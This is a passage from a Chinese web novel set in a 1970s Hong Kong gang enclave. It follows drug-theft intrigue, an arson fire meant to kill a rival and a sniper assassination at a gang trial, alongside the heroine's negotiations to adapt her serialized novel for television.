笑哥苦着脸摇头,“六叔是龙爷过命的兄弟,他更信六叔的。再说我刚吃掉三丁堂,帮派更多人看我不顺眼,龙爷、龙爷最近也疏远我。” 哪个老大不忌惮手下野心勃勃的小弟? 平头伟转身偷笑,算计的就是你笑哥四面树敌,不得不跟我们北哥合作。 霍骁北安慰他,“先别急,帮派做事要讲规矩,他们没证据动不了你的。” 笑哥苦笑,“收数华胆大包天,他若用我的名义行事,我百口莫辩啊!” 他抹把脸,懊恼道:“都怪我眼瞎不识人!” 平头伟端上热茶,“笑哥喝茶,有我们北哥在呢,事情还有转机的。” 笑哥支棱起来,“对,北哥你一定救我!我在浅海地有一套三百呎的公寓,送你和阿嫂做新家!” 平头伟险些端不稳茶杯,直在心里惊呼大手笔。 霍骁北置办了地段更好面积更大的公寓,对笑哥的许诺可有可无,但他不打算放过这笔意外之财。 这两天把温苒惹毛了,他总要哄她消气,不然连抱都不让抱。 “笑哥拿我当兄弟,我不能眼睁睁看笑哥去死。” 霍骁北沉吟片刻问道:“笑哥有没有想过,收数华背后的保护伞是谁?” 笑哥愣住,“收数华他、他难道不是我的人?!” 平头伟憋住笑,和北哥待久了他真是看不得蠢人。 “笑哥你想啊,收数华只是你手下要债的马仔,既要偷粉又要做账还要把粉卖出去,这是他一个马仔能办到的吗?” 平头伟语气夸张:“就是笑哥你,你管旧棚那么长时间,上下都是你的人,都不见的能做得毫无破绽吧!” 笑哥皱眉,他当然不是办不到,实际上他也偶尔也偷粉倒卖出去。 不止他,其他几个棚的坐馆也在监守自盗。 大家心知肚明,也是龙爷睁一只眼闭一只眼默许的。 笑哥最怕六叔拿这点生事。 但听了平头伟的话,笑哥刚刚察觉到他忽略了一件很重要的事。 他偷粉倒卖是龙爷默许,收数华在他眼皮底下偷粉倒卖足足半年之久,又是如何做到的? 难道也是龙爷? 不! 龙爷没道理这样做。 帮收数华偷粉难道对龙爷有什么好处吗? 龙爷没道理的。 霍骁北此时道:“看来收数华早就背叛你,认旁人做大哥了。” 笑哥脑海里一瞬间闪过许多张面孔,帮派长老还是其他堂口坐馆?亦或是三丙堂的揸数他阿笑的好兄弟? 第110章 第110章七零香江作家11 笑哥一个个怀疑过去,表情不自觉凶狠扭曲。 平头伟小声问道:“笑哥,你怀疑谁?打算怎么做?” 笑哥沉默,“我还有人手在旧棚,六叔去查账前,只能让他们尽快找证据。” “否则,”他发狠,咬牙切齿道:“就只能一把火烧掉账本。” 平头伟目瞪口呆,眼神直愣愣的,下意识说道:“大嫂算卦,说北城这月有大火,损失惨重的!” 前有龙爷要火烧旧棚杀六叔推锅平账,此时又有笑哥火烧账本死无对证,不管哪把火烧起来,他们大嫂都是赢家啊! 笑哥愣了下,也想起了这则传言,心里不禁泛起了嘀咕,还真让北哥的老婆说准了?难道她真的能掐会算有真本事不成? 霍骁北说道:“烧账本只会让六叔更加怀疑你。” 平头伟连连点头,“这不是告诉大家此地无银三百两嘛?” 笑哥看着霍骁北哀求:“北哥你帮帮我。” 霍骁北沉思片刻后说道:“你着急,有人比你更急。” 笑哥拧眉,“北哥是说,收数华的大哥?” 霍骁北点头,“六叔要查账,万一查出来,那人不会有好下场,他必定会对六叔动手。” 笑哥一听就喜笑颜开,拍手称快:“那我不担心了,让他们去狗咬狗!” 平头伟摇头啧啧,“笑哥你这样不行的,六叔已经盯上你了,你们有过节在先。六叔是龙爷的人,倘若六叔出事,龙爷肯定暴怒要彻查的!” “到时笑哥你可就惨喽!” 笑哥顿时急了,“我动手不行,不动手也不行, 难不成还要我大发善心去救六叔不成?” 霍骁北挑眉,“为什么不行?” 笑哥不可置信地看着他,哆嗦着手指指自己,声音都变了调:“我?我救六叔?我、我、我巴不得六叔去死的!” 霍骁北推着茶杯送到他面前,“冷静冷静。” 平头伟也道:“笑哥你听我们北哥讲,北哥让你救六叔肯定有他的道理。” 笑哥端起茶杯一口灌下去,他倒要听听霍骁北能说些什么。 霍骁北继续说道:“你想杀六叔,背后那个人只会更想杀六叔。” 笑哥顿住。 霍骁北:“派你的人在旧棚附近监视,等那人动手,第一时间救下六叔。” 笑哥依旧不明白,他为什么要救六叔? 他跟六叔有仇的! 六叔死不死笑哥不关心,但他忽然想到一个好办法,“北哥,你说我等那人动手抓个人赃并获如何?” 看他这副蠢样还沾沾自喜,平头伟疯狂在心里翻白眼,饭都喂到嘴边了都不知道吃,他到底怎么当上坐馆的? 霍骁北早知笑哥本性,并不意外。 他耐心地向笑哥解释:“笑哥,抓人不重要,救六叔很重要。” 笑哥撇撇嘴不以为意。 霍骁北笑了笑,“六叔是龙爷的人,龙爷最近疏远你……” 后半句,他看着笑哥的眼睛徐徐提醒。 笑哥怔愣几息,恍然大悟般拍桌弹起来,“对啊!救六叔是在帮龙爷,向龙爷表忠心!” 他激动地看向霍骁北,“北哥你救我命,明天我就派人把东西送来!” 笑哥兴高采烈精神昂扬地离开诊所。 平头伟看着他的背影,小声同霍骁北嘀咕:“北哥,他这脑子到底怎么当上坐馆的?” 霍骁北重新倒了杯茶,“蠢人才好掌控。” 平头伟认真想了想,迟疑地反驳他北哥:“我看,不见得吧?” 霍骁北语气淡淡:“自作聪明罢了。” 平头伟脑筋转了个弯才明白过来,“北哥是说龙爷自作聪明?” 他细细琢磨了下,赞同地点头:“确实,蠢人的想法才更不好猜。” ** 《真假千金》连载两个月,下一期将刊登大结局。 这部小说超出想象的火爆,带动《香江快报》销量翻倍,广告收入也翻几倍。 温苒鲜少出门,吴佳莹和周玉珍经常城里城外跑,会跟她讲街头巷尾都在谈《真假千金》。 报社那边来信殷勤,每次都借寄送读者信件的时候催促温苒多写稿,还想让温苒写长,为此不惜一再主动加稿费。 这本小说十五万字,足足为温苒带来六千多港币的收入。 结局的稿件由周玉珍送到报社,当天回城还带来两个好消息:“苒姐,报社主编说想将《真假千金》编书出版,让我询问您的意见。如果你答应,需要亲自去出版社一趟签契约。” 出版和登报的契约不太一样,委托签约会比较麻烦,温苒想了想说道:“不急的话,我下月出门回来再去报社,先定在八月初。” 周玉珍写在笔记本上,“好的,明天我去报社告诉主编。” “另外,主编说报社东主看中您的小说,打算改编成电视剧,版权费给出八千块。” 温苒:“……” 再一次感叹这家报社财大气粗。 温苒是不太了解这个时期的版权市场,但没记错的话,上个月某家报纸报道,尹荃的某本小说改编成电影给出的费用是两万块。 八千块没法和两万块比,但尹荃已经是成名的大作家,温苒这个笔名才只写过一本《真假千金》而已。 温苒敲着桌子想了想,抬头说道:“后天我和你一起去报社。” 她想,她的小说改编,剧本也很该由她来写。 为此温苒诚意满满,剧组想要什么样的剧本她都可以写。 而既然她都是编剧了,带几个助理观摩一下不难吧? 嗯,得告诉霍骁北让他挑几个机灵聪明的马仔,到时这些人就是她们金玉影视公司的第一个剧组班子! 后天去报社,时间紧任务重,温苒推开另一本正在准备的小说大纲,拿过一沓新稿纸,对照助理吴佳莹剪成册子的《真假千金》埋头苦写两集分场大纲。 写着写着温苒停下来,对了,到时要问问编剧有没有推荐演员的资格,阿珍她们当中很有几个长相气质都出众的漂亮姑娘。 晚饭桌上,温苒听霍骁北说,后天龙爷就要放火烧旧棚。 “是晚上吗?”她盯着霍骁北问。 霍骁北:“嗯,晚上好动手。” 那温苒就放心了,“白天我要出城去报社,你给我找辆车,傍晚前我会回来。” 霍骁北放下碗,“我陪你。” 温苒拒绝得相当干脆,“不要,我载阿莹和阿珍一起出城,办完正事去商场逛街。” 霍骁北挑挑眉,“是吗?没有驾驶证我怕你傍晚回不来,还要我去捞你。” 温苒:“……” 可恶!她忘了她没有驾驶证! 恶狠狠啃掉一块排骨,温苒只好道:“那好吧,你明天当司机。” 霍骁北哪里甘心只当司机,“明天阿伟进城采购药品,他载你的助理,我载你。” 有他在,不需要别人陪老婆逛街。 转天,温苒带上稿件,一行人两辆车出城。 鉴于几月前来报社那次温苒戴着帽子,这次见面并没有人把她和爆料人联系在一起。 温苒拿出剧本给主编过目,开门见山说明来意,并表示道:“关于这本小说我设想过许多版的大纲,如果能改编成电视剧上映,我希望能在连载版本的基础上做出新意。” 主编虽没接触过剧本,但仅凭故事性而言,手上改编的剧本从一开始就吸引了他的注意力,勾引他一直读到最后,并强烈地期待接下来的发展。 主编激动地放下剧本,“温女士,请容我向东主打个电话询问。” 温苒抬手,“您请便。” 结果出乎意料。 不是那边拒绝了,而是所谓的东主在电话里讲要亲自过来一趟。 主编向温苒解释:“温女士,我们东主是您的小说迷。” 《真假千金》虽然名字通俗易懂带着狗血,但字里行间浑然天成远非套路所及。 豪门商战、灰姑娘逆袭、甜蜜爱情等,点缀着勾心斗角人情世故,每一个单拎出来都很有看点。 虽然温苒将其总结为‘狗血’,但小说迷们可不这么认为。 这部小说接地气到没读过书的老百姓都剪报集册,二手报纸甚至卖出高价。 而其中商战桥段,初看直呼过瘾,回过头细究发现处处透着专业。 再如人情世故方面,温苒也没想到会有人真按照她小说写的内容办宴会,最后偏偏还得到了长辈的认可夸赞。 可能这就是报社东主对她如此热情的原因吧。 顾少顾鑫超,香江豪门顾氏三房的次子,按理说经历过不计其数的大场面,可见到温苒后话都不会说了,紧张地坐下站起来站起来坐下。 周玉珍:“……” 她瞥到顾少小心翼翼望向老板的眼神,还看到顾少继而飞快涨红的脸,在心里感慨还好爱吃醋的老板夫不在。 周玉珍清清嗓子,小声到在场都恰好能听到的程度:“苒姐,霍先生还有半小时就到。” 温苒稍顿,抬眸看了眼这个助理,霍骁北在外面车上等她,怎么就半小时后到了? 顾鑫超不自然地咳嗽一声,心情忐忑地试探:“温小姐约了人?” 温苒摇摇头,“不是,是我老公在等我。” 顾鑫超瞬间石化在原地,一颗春心咔咔碎得稀巴烂。 他不敢置信,“温小姐这么年轻就、就结婚了?” 温苒‘唔’了声,“算是吧。” 说结婚她们还没领结婚证,说没结婚却结好几次了。 顾鑫超耷拉着表情,“那温小姐,我们来谈谈小说改编。电视剧由我大哥投资拍摄,计划在新世纪电台播放……” 周玉珍拿笔飞快记下来,导演是钱某某,脾气古怪不好相处,对剧本和演员十 分挑剔,但拍出来的电视剧很受欢迎。 顾鑫超:“来之前我见过大哥,向他转告了温小姐希望担任编剧的想法,我大哥表示他非专家,希望温小姐和钱导能达成共识。” 温苒咂摸了这个话术,简直跟她小说里那套模板一模一样,这位顾少看来真是她的书迷。 温苒点头:“当然,我也希望有和钱导面谈的机会。” 顾鑫超强自微笑,“我一定转告钱导,再通知温小姐,不知温小姐的联系方式是?” 他终于问出一直想问的,却不禁在心里自嘲,知道了又怎样,难不成还能频繁上门追求温小姐吗? 周玉珍这时拿出一张名片,温苒接过来递给顾鑫超,“我住的地方暂时不方便联系,这是最近的一座电话,有进展麻烦顾少打这个号码通知我。” 顾鑫超接过名片只晃一眼便收起来,连忙关心问道:“可是报社给出的稿酬太低,温小姐有困难尽管告诉我,我一定尽力帮忙!” 一旁主编嘴角抽搐,平均千字四十还低啊? 温苒也不解,这位大少爷为什么认为自己生活困难? “那倒没有,报社付的稿费很丰厚。” 顾鑫超欲言又止,最后选择压下到嘴边的话,温小姐也是要面子的。 谈完事情,顾鑫超送温苒离开报社。 温苒请他在报社门口留步,和周玉珍朝街对面的车走去。 霍骁北下车接老婆,刚牵上温苒的手,就敏锐察觉到自己被盯上了。 他顺着视线看过去,是顾家那个小少爷。 看自己的眼神他也很熟悉,顷刻确认情敌的身份。 霍骁北揽着温苒向对面走去,“我订了餐厅,还有时间先看场电影再吃午饭,吃完饭逛商场,傍晚前回城。” 周玉珍十分有眼色地没有跟上去,而是小跑向平头伟采购药品的小货车。 报社门口,顾鑫超瞪着霍骁北的背影,心里很是不甘。 虽然这个男人和温小姐看起来很登对,但是一个男人光有皮囊算什么男人,还不是要靠温小姐赚钱养家? 顾鑫超发誓,他一定要查清楚这个男人的真面目,告诉温小姐救她脱离火坑! 温苒不知,仅仅打个照面,霍骁北就被归类为小白脸软饭男。【你现在阅读的是 】 110-120 第111章 第111章七零香江作家12 回五象城时还没到晚饭时间,两人干脆去餐厅点了份猪脚饭,吃完才回公寓。 今晚龙爷就会动手。 温苒换上轻便的衣服,对着镜子扣上棒球帽,“地下赌场今天开放吗?” 霍骁北蹲在床前组装狙击枪,“不会。” 温苒遗憾叹气。 可惜了,有钱人最怕死,让他们撞上城里起火,北龙帮就是八十抬大轿都再请不来。 这顶帽子颜色不好看,温苒换一顶,看向镜子里的霍骁北,“那你不打算做点什么吗?” 地下赌场哎,赚有钱人的钱,无本万利,别说养区区一个南凤帮,就是养整个五象城都没问题。 这么好的东西,要么抢过来自己占了,要么北龙帮也不许有! 枪支没问题,霍骁北三两下拆掉放进手提箱,把大箱子推到床下。 他抬头看了眼温苒,“你有想法?” 温苒扔掉帽子噔噔噔跑过去,杏眼亮晶晶的。 “首先,把客人名单弄到手,选择性曝光!” 瞥到温苒眯起眼哼笑的表情,霍骁北就知道,她一肚子坏水正在咕嘟嘟冒泡。 温苒冲他勾勾手,“你过来。” 霍骁北低下头靠过去。 温苒小声嘀嘀咕咕一番,最后张开手掌,得意地叉腰宣布:“我要一半!” 霍骁北攥着她手放下来,“都给你,这是你想出来的。” 之前他们两人之间讨价还价是情趣,可对外,霍骁北当然不会让老婆吃亏。 温苒倒大方起来,拍着他肩膀说道:“那分你们两成,我之后还要用人的。” 换好装备,夫妻两人出门,陆续遇到住在同一层的帮派坐馆和长老们。 北龙帮每个堂口用天干命名,南凤帮则用飞禽名称命名。 例如利叔的堂口叫黄雀堂,唐叔的堂口叫鹧鸪堂,刀哥的堂口叫白鹤堂。 这样一对比,温苒的金玉堂就很不合群。 温苒琢磨着,等拿到钱把堂口立起来,再集思广益想出一个既好听寓意也好的‘鸟名’。 下了楼,远远望到唐叔身后跟了个高挑健壮的姑娘,一看就很能打。 站定后,就见唐叔带人走过来,“阿北啊,你让我找的女保镖,阿红,和阿五能打平手的。” 他说这话时目光在霍骁北和温苒身上来回,调侃的意味十足。 温苒这才仔细打量起阿红,肤色黝黑,面容瘦长,眉高眼深,似乎是个混血。 察觉到她的视线,阿红抬头看过来,抿了抿嘴角又垂下眼睛。 唐叔拍拍阿红手臂,“阿红,这是你们北哥老婆阿苒,也是咱们南凤帮新堂口的坐馆,以后阿苒就是你老大。” 阿红走上前来,声音低沉语调生疏到好似不习惯张口说话:“老大。” 温苒盯着她问,“你多大了?” 阿红:“老大,我今年十七。” 温苒:“……” 那比她还小,她都十九了。 “那你以后就喊我阿姐,今天有重要事去办,改天请你来家里吃饭,谈谈你的报酬。” 阿红茫然地抬起头,报酬?什么报酬? 龙爷要放火杀六叔是秘密行事,否则泄露出去杀不杀得了另说,他阿公的位子都不能继续坐。 霍骁北有渠道知道这个秘密,自然不会大张旗鼓地宣传,只跟几个信得过的讲。 至于利叔唐叔等人,霍骁北告诉他们北龙帮有行动,让他们出面控局,不要波及到南城。 旧棚是北龙帮几个鸭棚中距离南城最近的,一旦起火,南凤帮第一时间要派人出面。 届时利叔坐镇南凤帮,唐叔出面周旋,刀哥带人救火。 而陆建华,上次对峙中街龙爷没出现,他也不需要次次出面。 堂堂龙头老大还是要逼格的。 陆建华不甘无所事事,带阿五跟上霍骁北,非给自己弄了个‘御驾亲征鼓舞士气’的名头。 夕阳将落,五象城的天却早已入夜。 北城一条街灯火通明,开张迎客。 霍骁北和温苒从小路进入北城,来到旧棚附近某个视野开阔的天台。 陆建华和阿五阿红平头伟分散行动,很快也来天台汇合。 等待的时间,陆建华从包里拿出两份盒饭,顶着大家难以言喻的眼神,理直气壮道:“吃饱了才有力气干活嘛!” 大口扒拉着饭菜,陆建华边问:“龙爷会出现吗?我看他别叫龙爷改叫龟爷算了,躲壳里轻易不露面。” 平头伟从温苒那里领到一包零食,正在跟阿五和阿红分,闻言头也不抬:“怕死嘛!” 陆建华撇撇嘴,怕死混什么黑啊? 两份盒饭一扫而空,陆建华抬头眺望旧棚的方向,忽而低声道:“起火了!” 众人纷纷望去,漆黑的夜里只见一簇火星飞快蔓延。 老旧的屋舍用料泥土和木头对半分,火星跳上去,瞬间引燃一片火海。 今日六叔查账,旧棚暂停营业。 等里面人注意到起火时,火焰已经成势。 附近鲜少民居,黄赌毒等生意场所盘踞此处。 火势一起,嫖客赌手瘾君子们纷纷四散逃离。 四九仔们也逃的逃躲的躲,想到要救火的反而被人群裹挟着无法行动。 一时间推搡辱骂呼喊声充斥着街道。 这条北龙帮最大收入来源的花街,此时竟无一人出面控制局势。 平头伟出去一趟,再回来一身狼狈,“陆哥,北哥,我们的人已经救下六叔。” 指望笑哥救六叔不保险,他早想六叔去死,万一拖拖拉拉六叔只会‘高升’地府,霍骁北可不想老婆的卦不准。 所以霍骁北另外派人救下六叔,等笑哥行 动后送到他手上。 北龙帮不顶用,烧了这么长时间都没人组织救火。 南凤帮唐叔和刀哥带人带水桶赶到现场,砰砰砰三声枪响,嘈乱的街道瞬间安静下来。 刀哥掏出帮里训练时用的喇叭,大吼:“所有人听令!现在、立刻、马上每人领两只水桶,排队有序打水救火!” 无头苍蝇一般乱窜的人找到主心骨,听话地去一旁排队领水桶。 这时再要逃的真没几个。 整个五象城屋舍密集,建筑材料许多都是木头,一点火星就能把整座城变成炼狱。 龙爷就在城里,没人比他怕死,于是他事先安排了人控制火势不要太大,也安排了人号召居民救火。 但不怕一万就怕万一,火势一起非人为可控。 五象城又未通水电,只有几口水井分散在城里,无疑更为救火增加难度。 霍骁北当然不会拿城中数万百姓的生命去赌个万一。 他早先便在旧棚周围埋下阵法,可以确保火势不会超出阵法范围。 站在天台望着下面街道,刀哥身体力行,一人挑两根扁担四只水桶,来回水井和花街穿行在人群中救火。 唐叔让一队手下维持秩序,他飞快叫来个大家伙。 陆建华指着脑袋粗的水管子,咧嘴笑道:“还好之前和官府谈水电时要了两个水泵。” 水泵一开,这场火就没危险了。 这时笑哥悄摸赶来,找到和手下接头的胡同里,看见昏迷的六叔心都提起来了,吊着嗓子不敢大声:“还活着?” 手下点头,“笑哥放心。” 笑哥松了口气,“那把他弄醒,问他查没查出到底谁在偷粉?” 偷粉就算了,胆大包天到敢在城里放火,不想要命干脆去死! 手下哈口气,去掐六叔人中。 片刻后六叔幽幽转醒,猛地咳嗽起来。 一瓶水送到嘴边,六叔忙不急低头去饮,嘬了好几口才捋着胸脯推开。 感觉好多了,这时六叔才抬头去看谁给他递的谁,结果竟然让他意想不到:“阿笑?” 笑哥表情殷切笑容谄媚,“六叔你醒了?” 六叔懵逼地转了转脑袋,“怎会是你救我?” 笑哥不好意思道:“我听说旧棚起火匆忙赶来,听说六叔还没出来,带人冲进火场才把六叔救出来。” 他倒懂得为自己脸上贴金。 一旁真正救下六叔,暗中投向霍骁北的马仔无语地翻了翻白眼。 六叔感动得热泪盈眶,攥住笑哥的手就不撒开,“阿笑,从前是六叔不对,只你是帮里人最好的!你救六叔一条命,六叔会永远记得!” 笑哥这时没了半点不好意思,他巴不得六叔记一辈子他的救命之恩。 “六叔,你先歇会儿。” “六叔你还不知道吧,这场火是人为的,就是要烧死六叔,还好我来得及时。龙爷也马上就到,到时一定请龙爷为你主持公道!” 花街迎客的门灯全开,些许光亮洒进巷子。 昏暗的环境中,六叔握紧拳头,低头的一瞬脸上爬满怨毒。 花街上,两条水泵先后启动,源源不断把井水送过来,浇灭最后一处火焰。 忙过头的一群人终于能松口气,塌下肩膀一屁股坐地上,表情如释重负。 没喘上几口气,龙爷姗姗来迟。 陆建华讽刺:“他倒是会挑时候。” 旧棚化为一地废墟。 所幸不营业没有客人,跟六叔一起查账的人也有霍骁北安排救下,一场大火虽情势危急,但并无伤亡。 目睹惨烈的灾后现场,龙爷神色哀痛,宛如遭受重大打击一般身体晃了晃。 阿泰扶着他上前,“龙爷节哀,六叔虽已不幸,但他还有家人,龙爷可代为照顾。” 龙爷闭了闭眼,深吸气平缓情绪,“好,你说得对,阿六是我过命兄弟,我会把他骨灰好好安葬,他的家人我也一定照顾好。” 龙爷静静矗立在旧棚门口,几秒后转身,脸上表情褪去痛苦,变得冷漠威严。 “唐叔,多谢你带南凤帮来救火,你对我北龙帮有大恩!对全城百姓有大恩!南凤帮大义!” 安静的街道上,龙爷这话传得很远。 陆建华点评:“装模作样。” 完了他看着夫妻俩,“咱们不要点报酬?” 温苒也有些可惜,龙爷马上就要死了。 一朝天子一朝臣,龙爷都死了,他答应过的北龙帮哪还会兑现? 楼下,龙爷之后又讲了一番大义凛然的话,末了话头一转,说道:“旧棚是我北龙帮起家之地,意义非凡!” “旧棚也是我北龙帮数万兄弟活命的倚仗!” “阿泰,带人进废墟翻找,务必找到过往账本!” 阿泰应一声是,招手带人进了废墟。 龙爷拄着拐杖站在门口,很快,一名马仔从街外面色匆匆跑进来,到龙爷面前一番耳语。 众人便见,那马仔说完龙爷面色剧变,身体摇摇晃晃仿佛支撑不住要倒下去。 马仔有眼色地扶住龙爷,龙爷站稳后缓了缓,高声沉痛道:“诸位!我有一事,不得不讲!” “六叔他、他勾结收数华等人,暗中偷粉倒卖数年,谋利深重!” 啊? 不是? 谁偷粉? 巷子里笑哥一脸懵逼。 第112章 第112章七零香江作家13 昏暗的巷子里,六叔盯着步步紧逼的笑哥,脑海飞快运转。 “阿笑,你不能把我交出去!” “阿笑你听我讲,不是我,我怎么可能自己查自己的账?是有人陷害我!” 六叔咬牙切齿,是龙爷,是赵龙要杀自己顶锅! 自己对他那么忠心,他却恩将仇报! 笑哥停下脚步,狐疑地打量六叔。 六叔见到希望,继续说道:“阿笑你想想,今夜这场火是冲我来的,分明是有人要杀我!是有人陷害我!” 笑哥一想也是。 这场火的目的就是杀六叔,以防他查账查出问题。 如果真是六叔偷粉,那岂不是六叔自己杀自己? 笑哥恍然大悟,“我懂了!” 那人不仅要杀六叔,还要让六叔顶罪! 笑哥忽然庆幸收数华早就败露,旧棚也被六叔接手,否则现在六叔的处境就是他的下场! 现在想来,收数华定是被那人提前灭口的! 笑哥愤怒地锤了下掌心,转身跑到巷口向外张望情况,“不行!六叔我们得赶紧出面解释,你没有偷粉,龙爷被蒙蔽了!” 六叔:“……” 他一面觉得笑哥蠢到祖坟冒烟,一面又庆幸笑哥没有联系到龙爷身上。 否则就凭这副蠢脑子,笑哥一定把他拖出去给龙爷就地正法! 六叔心里着实松了口气,“阿笑,我们还不能出去。” 笑哥回头皱着眉,“为咩?我们不出现六叔岂不被冤枉?” 六叔摇头,耐心同他‘解释’:“我要引蛇出洞,对要杀我之人来讲我死了才会好,我死了他才信事情办成,才会掉以轻心。” 笑哥点头,说得有道理。 但有什么用? 六叔只好解释得更清楚:“人一旦得意就会露马脚,旧棚重建后你看谁会接手,不出意外就是那人。” 笑哥似懂非懂地点了点头,“那我们现在按兵不动?” 六叔终于露出个孺子可教的表情,“你就当我真的死了,谁也不要告诉,等那人以为一切唾手可得时,我再出现揭穿他的真面目给他致命一击!” 笑哥照他的话在脑海中设想一番当时的场面,激动地握了把拳。 “好!就这么办!” 见把笑哥安抚好,六叔深深吐气,命暂时保住了。 六叔假死不能露面,这么大的事笑哥身为堂口坐馆不能不在。 吩咐马仔看守六叔,笑哥带人绕到花街入口出现在旧棚外。 火灾现场俨然是成为审判庭。 阿泰从废墟中带出来一份‘保存完好’的账本,龙爷看完大怒,交给其他长老坐馆传阅。 龙爷捂着胸口痛心道:“没想到阿六是这样的人!亏我把他当真兄弟!” 六叔到底怎样无人清楚,但现场不是没有聪明脑袋,总有人看出了猫腻。 一场突如其来的大火,偏偏发生在六叔查账这天,偏偏其他人都侥幸存活,只有六叔死在火中尸骨无存。 更巧的是,能将人烧成灰的大火中,阿泰竟然找到了一份保存完整的账本? 就连非北龙帮人士的唐叔和刀哥都琢磨出点门道,今天这事水很深啊。 池浅王八多,北龙帮庙不大,倒挺能闹妖。 还是他们南凤帮好,领头的两个年轻人一个沉稳老成会赚钱一个能跟弟兄们打成一片。 整个南凤帮现在劲朝一处使,挣干净钱,为百姓谋福利,晚上睡觉都踏实多了。 随着账本的传阅,沉寂的街道上终于起了波澜,众人纷纷交头接耳起来。 北龙帮的长老和坐馆们对视一眼,齐齐上前拱手,“请龙爷做主!” 龙爷表情悲痛不已,“好!今日我便大义灭亲!” 传到天台上,陆建华和平头伟不约而同骂道:“好不要脸!” 转头陆建华看向霍骁北,“龙爷脸皮这么厚养老钱一定多,阿北你一定全部不留收到我们南凤帮!” 霍骁北看时机已到,打开手提箱三两下组装好狙击枪,架在天台上瞄准旧棚。 “放心,我也想早点拿到欠发的工资。” 南凤帮现在实行二十阶工资制。 按照工龄和职位,陆建华也才八级工资底薪六百。 加上杂七杂八的福利,扣除帮内版本的六险一金,每月能到手一千出头。 帮内现在工资最高的是几位上了年纪的长老坐馆,一月大概到手两千块。 这肯定比不上贩毒开赌场的北龙帮,但拿到城外可是货真价实的高薪阶层。 要知道,今年年初民生报纸报道香江居民收入水平,其中普通家庭月收入仅七百港币。 两千块基本是从事金融管理或在银行工作的高学历人才才能拿到的月薪。 旧棚前,北龙帮的高层干部难得齐聚一堂,龙爷征求过大家的意见后,命人带六叔儿子和他最信任的手下上来,就地审判处决! 霍骁北手指扣在扳机上,枪口瞄准层层人群中龙爷的脑袋。 “阿苒,带阿伟阿红去找刀哥,等我汇合,趁乱拿账本。” “陆哥先走,阿五去楼下接箱子。” 温苒带人转身朝楼下走。 陆建华懵逼地跟着一起跑,不是,什么账本?后头还有行动?为什么没人通知他啊? 这个时间几乎所有人都局到了花街上,其他街道空无一人,寂静又空旷。 平头伟带路,穿过四通八达的小巷子,温苒三人向旧棚附近移动,顺利混入刀哥的队伍中。 陆建华咬牙克制住内心的好奇,飞快离开回到南城。 楼下阴影处,阿五静静藏身其中。 旧棚前,这场大戏唱到关键之处。 六叔最信任的左膀右臂和六叔儿子被带上来。 旧棚作为北龙帮敛财的工具之一,地位非凡,其内保存的账本更是重中之重。 兼之这场大火来得凶猛可怕,北龙帮势必要给城里百姓一个交代,龙爷也要因失察无能向帮里弟兄交代。 就如笑哥要杀收数华立威,龙爷也要做出处决一干参与的人员。 主犯六叔已死,六叔的儿子和他手下则顺势成为众矢之的。 人群围成的空地上,六叔的儿子被押到最前,跪下接受处决。 六叔儿子疯狂摇头喊冤,“龙爷,我阿爸不会偷粉的,龙爷你要信我阿爸,我阿爸讲他对龙爷最忠心的……” 龙爷身边簇拥着保镖,他拄着拐杖来到六叔儿子面前,神色悲痛:“我也没想到你阿爸竟会偷粉,帮里弟兄们需要交代,我也被逼无奈……” 他摆摆手,“阿泰,行刑!” 话落龙爷转身往回走,保镖走位随之挪动。 密不透风的防御出现霎那缝隙,扳机扣动,安装了消音器的枪口飞出一枚子弹。 噗— 射入血肉。 众目睽睽下,龙爷跌向保镖,他表情惊骇,身体抽搐着,鲜血争先恐后涌向面孔。 “龙爷!” 惊呼声中,所有人围上来。 保镖接住龙爷,颤抖地送上两根手指到龙爷鼻翼下,已然没有呼吸。 睁大的眼睛里瞳孔涣散,也在昭示着龙爷升天。 北龙帮众人无不惊骇,长老和坐馆们急急忙忙大吼:“都去给我找!一定抓到人!一定抓到!” “敢在北龙帮杀人,要他不得好死!” 而罪魁祸首打出一枪后就飞快拆枪装箱丢到楼下,从天台另一侧飞身跃下。 阿五在此接应,两人碰头朝下一个狙击点赶去。 头等席围观枪杀现场的温苒四下张望,霍骁北应该还在这附近,最危险的地方就是最安全的地方。 而不出意外,接下来六叔就会登场。 北龙帮的人群中,笑哥已经彻底懵了,懵的同时内心涌上害怕。 他目光小心翼翼划过在场人,看谁都像看那个幕后黑手。 偷粉倒卖、杀收数华、杀六叔、杀龙爷…… 桩桩件件都超出笑哥的认知。 到底是谁? 到底谁这么狠? 等等! 笑哥吞了吞口水,他救了六叔,坏了那人好事,那人那么狠一定会杀自己! 不行! 他要杀了六叔! 笑哥观察着在场人的反应,小心向人群外挪动。 然而不等他走出层层人群,最外层突然起了嘈乱,人人都在惊呼,并随之向两边散开,好似在为谁让路。 笑哥被裹挟着向两侧移动,隔着层层人群,他远远望见六叔从外走来。 笑哥心中翻起惊涛骇浪,他现在出来做什么? 还嫌不够乱吗? 那人连龙爷都敢杀,信不信他下一枪打的就是你啊?! 笑哥气急败坏地在心里骂六叔,这老东西最好把他供出来! 六叔一步步走到人群中央。 一众长老坐馆警惕地看着他,张口质问:“阿六你偷粉倒卖,还有何面目出现在这里?” 六叔咬牙,恨恨道:“不是我!” 他指着龙爷尸体,半是愤怒半是痛快道:“是他!是他赵龙偷粉倒卖!” 和他不对付的长老破口大骂:“你想污蔑龙爷!人证物证俱在,就是你做的!” 龙爷气得咳嗽两声,不等缓过来便急急解释:“蠢货!” “难道你们看不出来?这场大火分明是龙爷派人放的,他要杀我,他要我替他顶罪!” “胡扯!” “你说龙爷污蔑你,说龙爷要杀你,那是谁杀龙爷?” “我看就是你杀的!分明是你要龙爷替你顶罪!” “你好大的胆子!” “给我把他抓起来!就地处决!以慰龙爷在天之灵” 六叔听见这话气到差点过去。 人群中,温苒带着平头伟和阿红接近笑哥。 她本来想自己找笑哥,结果一个阿红死死跟着她,一个阿伟也死死跟着她。 有这两人开路,温苒顺利来到笑哥身边。 她拍拍笑哥肩膀,“笑哥!” 笑哥正缩头缩脑观察形势,突然被来这么一下,吓得心脏都险些停滞。 转头看到温苒三人,笑哥拍着胸口顺气,“大姐人吓人会吓死人的!” 温苒笑眯眯地又拍了拍他,“我怕再不来,你真会死哦阿笑!” 笑哥:“……” 其实他也有这种预感。 温苒天使低语:“我来救你了哦!” 笑哥立马点头哈腰,丝滑切换到谄媚表情:“苒姐你讲,我都听你的。” 他对温苒了解不多,仅有的两次见面一次是在中街,一次是现在。 之前在他的围堵下逃到南城,又能把霍骁北那样的男人降得服服帖帖,笑哥有种直觉,温苒这个看着漂漂亮亮的纤弱女子不简单。 温苒指着 人群中央,发号施令:“去,帮六叔,站在他那边帮他坐上阿公的位置!” 